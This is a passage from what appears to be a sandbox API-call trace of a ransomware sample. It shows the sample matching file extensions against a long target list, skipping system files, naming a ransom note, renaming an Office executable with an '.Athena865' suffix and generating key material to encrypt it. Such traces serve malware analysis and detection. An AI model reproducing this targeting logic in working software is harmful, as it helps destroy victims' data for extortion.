(lpString1="EXE", lpString2="adn") returned 1 [0087.821] lstrlenW (lpString="adp") returned 3 [0087.821] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0087.821] lstrlenW (lpString="alf") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0087.822] lstrlenW (lpString="ask") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0087.822] lstrlenW (lpString="btr") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0087.822] lstrlenW (lpString="cat") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0087.822] lstrlenW (lpString="cdb") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0087.822] lstrlenW (lpString="ckp") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0087.822] lstrlenW (lpString="cma") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0087.822] lstrlenW (lpString="cpd") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0087.822] lstrlenW (lpString="dacpac") returned 6 [0087.822] lstrcmpiW (lpString1="EW.EXE", lpString2="dacpac") returned 1 [0087.822] lstrlenW (lpString="dad") returned 3 [0087.822] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0087.822] lstrlenW (lpString="dadiagrams") returned 10 [0087.822] lstrcmpiW (lpString1="REVIEW.EXE", lpString2="dadiagrams") returned 1 [0087.822] lstrlenW (lpString="daschema") returned 8 [0087.822] lstrcmpiW (lpString1="VIEW.EXE", lpString2="daschema") returned 1 [0087.822] lstrlenW (lpString="db-journal") returned 10 [0087.822] lstrcmpiW (lpString1="REVIEW.EXE", lpString2="db-journal") returned 1 [0087.822] lstrlenW (lpString="db-shm") returned 6 [0087.822] lstrcmpiW (lpString1="EW.EXE", lpString2="db-shm") returned 1 [0087.822] lstrlenW (lpString="db-wal") returned 6 [0087.822] lstrcmpiW (lpString1="EW.EXE", lpString2="db-wal") returned 1 [0087.822] lstrlenW (lpString="dbc") returned 3 [0087.823] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0087.823] lstrlenW (lpString="dbs") returned 3 [0087.823] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0087.823] lstrlenW (lpString="dbt") returned 3 [0087.823] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0087.823] lstrlenW (lpString="dbv") returned 3 [0087.823] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0087.823] lstrlenW (lpString="dbx") returned 3 [0087.823] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0087.823] lstrlenW (lpString="dcb") returned 3 [0087.823] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0087.823] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0087.823] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VPREVIEW.EXE.Athena865") returned 65 [0087.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VPREVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\vpreview.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VPREVIEW.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vpreview.exe.athena865"), dwFlags=0x1) returned 1 [0087.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VPREVIEW.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vpreview.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.824] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=731008) returned 1 [0087.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.825] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.825] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.825] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.826] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb2a80, lpName=0x0) returned 0x17c [0087.827] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb2a80) returned 0x2d50000 [0087.858] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.859] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.859] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.860] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.866] CloseHandle (hObject=0x17c) returned 1 [0087.866] CloseHandle (hObject=0x154) returned 1 [0087.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.869] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x70802d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x8d5178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0087.869] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.869] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.869] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".") returned 1 [0087.869] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="..") returned 1 [0087.869] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="windows") returned -1 [0087.869] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="bootmgr") returned 1 [0087.869] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="temp") returned 1 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="pagefile.sys") returned 1 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="boot") returned 1 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="ids.txt") returned 1 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="ntuser.dat") returned 1 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="perflogs") returned 1 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2="MSBuild") returned 1 [0087.870] lstrlenW (lpString="VVIEWDWG.DLL") returned 12 [0087.870] lstrcpyW (in: lpString1=0x241e89e, lpString2="VVIEWDWG.DLL" | out: lpString1="VVIEWDWG.DLL") returned="VVIEWDWG.DLL" [0087.870] lstrlenW (lpString="VVIEWDWG.DLL") returned 12 [0087.870] lstrlenW (lpString="Athena865") returned 9 [0087.870] lstrcmpiW (lpString1="EWDWG.DLL", lpString2="Athena865") returned 1 [0087.870] lstrlenW (lpString=".dll") returned 4 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".dll") returned 1 [0087.870] lstrlenW (lpString=".lnk") returned 4 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".lnk") returned 1 [0087.870] lstrlenW (lpString=".ini") returned 4 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".ini") returned 1 [0087.870] lstrlenW (lpString=".sys") returned 4 [0087.870] lstrcmpiW (lpString1="VVIEWDWG.DLL", lpString2=".sys") returned 1 [0087.870] lstrlenW (lpString="VVIEWDWG.DLL") returned 12 [0087.870] lstrlenW (lpString="bak") returned 3 [0087.870] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0087.870] lstrlenW (lpString="ba_") returned 3 [0087.870] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0087.870] lstrlenW (lpString="dbb") returned 3 [0087.870] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0087.870] lstrlenW (lpString="vmdk") returned 4 [0087.870] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0087.870] lstrlenW (lpString="rar") returned 3 [0087.870] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0087.871] lstrlenW (lpString="zip") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0087.871] lstrlenW (lpString="tgz") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0087.871] lstrlenW (lpString="vbox") returned 4 [0087.871] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0087.871] lstrlenW (lpString="vdi") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0087.871] lstrlenW (lpString="vhd") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0087.871] lstrlenW (lpString="vhdx") returned 4 [0087.871] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0087.871] lstrlenW (lpString="avhd") returned 4 [0087.871] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0087.871] lstrlenW (lpString="db") returned 2 [0087.871] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0087.871] lstrlenW (lpString="db2") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0087.871] lstrlenW (lpString="db3") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0087.871] lstrlenW (lpString="dbf") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0087.871] lstrlenW (lpString="mdf") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0087.871] lstrlenW (lpString="mdb") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0087.871] lstrlenW (lpString="sql") returned 3 [0087.871] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0087.871] lstrlenW (lpString="sqlite") returned 6 [0087.871] lstrcmpiW (lpString1="WG.DLL", lpString2="sqlite") returned 1 [0087.871] lstrlenW (lpString="sqlite3") returned 7 [0087.872] lstrcmpiW (lpString1="DWG.DLL", lpString2="sqlite3") returned -1 [0087.872] lstrlenW (lpString="sqlitedb") returned 8 [0087.872] lstrcmpiW (lpString1="WDWG.DLL", lpString2="sqlitedb") returned 1 [0087.872] lstrlenW (lpString="xml") returned 3 [0087.872] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0087.872] lstrlenW (lpString="$er") returned 3 [0087.872] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0087.872] lstrlenW (lpString="4dd") returned 3 [0087.872] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0087.872] lstrlenW (lpString="4dl") returned 3 [0087.872] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0087.872] lstrlenW (lpString="^^^") returned 3 [0087.872] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0087.872] lstrlenW (lpString="abs") returned 3 [0087.872] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0087.872] lstrlenW (lpString="abx") returned 3 [0087.872] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0087.872] lstrlenW (lpString="accdb") returned 5 [0087.872] lstrcmpiW (lpString1="G.DLL", lpString2="accdb") returned 1 [0087.872] lstrlenW (lpString="accdc") returned 5 [0087.872] lstrcmpiW (lpString1="G.DLL", lpString2="accdc") returned 1 [0087.872] lstrlenW (lpString="accde") returned 5 [0087.872] lstrcmpiW (lpString1="G.DLL", lpString2="accde") returned 1 [0087.872] lstrlenW (lpString="accdr") returned 5 [0087.872] lstrcmpiW (lpString1="G.DLL", lpString2="accdr") returned 1 [0087.872] lstrlenW (lpString="accdt") returned 5 [0087.872] lstrcmpiW (lpString1="G.DLL", lpString2="accdt") returned 1 [0087.872] lstrlenW (lpString="accdw") returned 5 [0087.872] lstrcmpiW (lpString1="G.DLL", lpString2="accdw") returned 1 [0087.872] lstrlenW (lpString="accft") returned 5 [0087.872] lstrcmpiW (lpString1="G.DLL", lpString2="accft") returned 1 [0087.872] lstrlenW (lpString="adb") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.873] lstrlenW (lpString="adb") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.873] lstrlenW (lpString="ade") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0087.873] lstrlenW (lpString="adf") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0087.873] lstrlenW (lpString="adn") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0087.873] lstrlenW (lpString="adp") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0087.873] lstrlenW (lpString="alf") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0087.873] lstrlenW (lpString="ask") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0087.873] lstrlenW (lpString="btr") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0087.873] lstrlenW (lpString="cat") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0087.873] lstrlenW (lpString="cdb") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0087.873] lstrlenW (lpString="ckp") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0087.873] lstrlenW (lpString="cma") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0087.873] lstrlenW (lpString="cpd") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0087.873] lstrlenW (lpString="dacpac") returned 6 [0087.873] lstrcmpiW (lpString1="WG.DLL", lpString2="dacpac") returned 1 [0087.873] lstrlenW (lpString="dad") returned 3 [0087.873] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0087.874] lstrlenW (lpString="dadiagrams") returned 10 [0087.874] lstrcmpiW (lpString1="IEWDWG.DLL", lpString2="dadiagrams") returned 1 [0087.874] lstrlenW (lpString="daschema") returned 8 [0087.874] lstrcmpiW (lpString1="WDWG.DLL", lpString2="daschema") returned 1 [0087.874] lstrlenW (lpString="db-journal") returned 10 [0087.874] lstrcmpiW (lpString1="IEWDWG.DLL", lpString2="db-journal") returned 1 [0087.874] lstrlenW (lpString="db-shm") returned 6 [0087.874] lstrcmpiW (lpString1="WG.DLL", lpString2="db-shm") returned 1 [0087.874] lstrlenW (lpString="db-wal") returned 6 [0087.874] lstrcmpiW (lpString1="WG.DLL", lpString2="db-wal") returned 1 [0087.874] lstrlenW (lpString="dbc") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0087.874] lstrlenW (lpString="dbs") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0087.874] lstrlenW (lpString="dbt") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0087.874] lstrlenW (lpString="dbv") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0087.874] lstrlenW (lpString="dbx") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0087.874] lstrlenW (lpString="dcb") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0087.874] lstrlenW (lpString="dct") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0087.874] lstrlenW (lpString="dcx") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0087.874] lstrlenW (lpString="ddl") returned 3 [0087.874] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0087.874] lstrlenW (lpString="dlis") returned 4 [0087.874] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0087.875] lstrlenW (lpString="dp1") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0087.875] lstrlenW (lpString="dqy") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0087.875] lstrlenW (lpString="dsk") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0087.875] lstrlenW (lpString="dsn") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0087.875] lstrlenW (lpString="dtsx") returned 4 [0087.875] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0087.875] lstrlenW (lpString="dxl") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0087.875] lstrlenW (lpString="eco") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0087.875] lstrlenW (lpString="ecx") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0087.875] lstrlenW (lpString="edb") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0087.875] lstrlenW (lpString="epim") returned 4 [0087.875] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0087.875] lstrlenW (lpString="fcd") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0087.875] lstrlenW (lpString="fdb") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0087.875] lstrlenW (lpString="fic") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0087.875] lstrlenW (lpString="flexolibrary") returned 12 [0087.875] lstrlenW (lpString="fm5") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0087.875] lstrlenW (lpString="fmp") returned 3 [0087.875] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0087.876] lstrlenW (lpString="fmp12") returned 5 [0087.876] lstrcmpiW (lpString1="G.DLL", lpString2="fmp12") returned 1 [0087.876] lstrlenW (lpString="fmpsl") returned 5 [0087.876] lstrcmpiW (lpString1="G.DLL", lpString2="fmpsl") returned 1 [0087.876] lstrlenW (lpString="fol") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0087.876] lstrlenW (lpString="fp3") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0087.876] lstrlenW (lpString="fp4") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0087.876] lstrlenW (lpString="fp5") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0087.876] lstrlenW (lpString="fp7") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0087.876] lstrlenW (lpString="fpt") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0087.876] lstrlenW (lpString="frm") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0087.876] lstrlenW (lpString="gdb") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.876] lstrlenW (lpString="gdb") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.876] lstrlenW (lpString="grdb") returned 4 [0087.876] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0087.876] lstrlenW (lpString="gwi") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0087.876] lstrlenW (lpString="hdb") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0087.876] lstrlenW (lpString="his") returned 3 [0087.876] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0087.876] lstrlenW (lpString="ib") returned 2 [0087.877] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0087.877] lstrlenW (lpString="idb") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0087.877] lstrlenW (lpString="ihx") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0087.877] lstrlenW (lpString="itdb") returned 4 [0087.877] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0087.877] lstrlenW (lpString="itw") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0087.877] lstrlenW (lpString="jet") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0087.877] lstrlenW (lpString="jtx") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0087.877] lstrlenW (lpString="kdb") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0087.877] lstrlenW (lpString="kexi") returned 4 [0087.877] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0087.877] lstrlenW (lpString="kexic") returned 5 [0087.877] lstrcmpiW (lpString1="G.DLL", lpString2="kexic") returned -1 [0087.877] lstrlenW (lpString="kexis") returned 5 [0087.877] lstrcmpiW (lpString1="G.DLL", lpString2="kexis") returned -1 [0087.877] lstrlenW (lpString="lgc") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0087.877] lstrlenW (lpString="lwx") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0087.877] lstrlenW (lpString="maf") returned 3 [0087.877] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0087.877] lstrlenW (lpString="maq") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0087.878] lstrlenW (lpString="mar") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0087.878] lstrlenW (lpString="marshal") returned 7 [0087.878] lstrcmpiW (lpString1="DWG.DLL", lpString2="marshal") returned -1 [0087.878] lstrlenW (lpString="mas") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0087.878] lstrlenW (lpString="mav") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0087.878] lstrlenW (lpString="maw") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0087.878] lstrlenW (lpString="mdbhtml") returned 7 [0087.878] lstrcmpiW (lpString1="DWG.DLL", lpString2="mdbhtml") returned -1 [0087.878] lstrlenW (lpString="mdn") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0087.878] lstrlenW (lpString="mdt") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0087.878] lstrlenW (lpString="mfd") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0087.878] lstrlenW (lpString="mpd") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0087.878] lstrlenW (lpString="mrg") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0087.878] lstrlenW (lpString="mud") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0087.878] lstrlenW (lpString="mwb") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0087.878] lstrlenW (lpString="myd") returned 3 [0087.878] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0087.878] lstrlenW (lpString="ndf") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0087.879] lstrlenW (lpString="nnt") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0087.879] lstrlenW (lpString="nrmlib") returned 6 [0087.879] lstrcmpiW (lpString1="WG.DLL", lpString2="nrmlib") returned 1 [0087.879] lstrlenW (lpString="ns2") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0087.879] lstrlenW (lpString="ns3") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0087.879] lstrlenW (lpString="ns4") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0087.879] lstrlenW (lpString="nsf") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0087.879] lstrlenW (lpString="nv") returned 2 [0087.879] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0087.879] lstrlenW (lpString="nv2") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0087.879] lstrlenW (lpString="nwdb") returned 4 [0087.879] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0087.879] lstrlenW (lpString="nyf") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0087.879] lstrlenW (lpString="odb") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.879] lstrlenW (lpString="odb") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.879] lstrlenW (lpString="oqy") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0087.879] lstrlenW (lpString="ora") returned 3 [0087.879] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0087.879] lstrlenW (lpString="orx") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0087.880] lstrlenW (lpString="owc") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0087.880] lstrlenW (lpString="p96") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0087.880] lstrlenW (lpString="p97") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0087.880] lstrlenW (lpString="pan") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0087.880] lstrlenW (lpString="pdb") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0087.880] lstrlenW (lpString="pdm") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0087.880] lstrlenW (lpString="pnz") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0087.880] lstrlenW (lpString="qry") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0087.880] lstrlenW (lpString="qvd") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0087.880] lstrlenW (lpString="rbf") returned 3 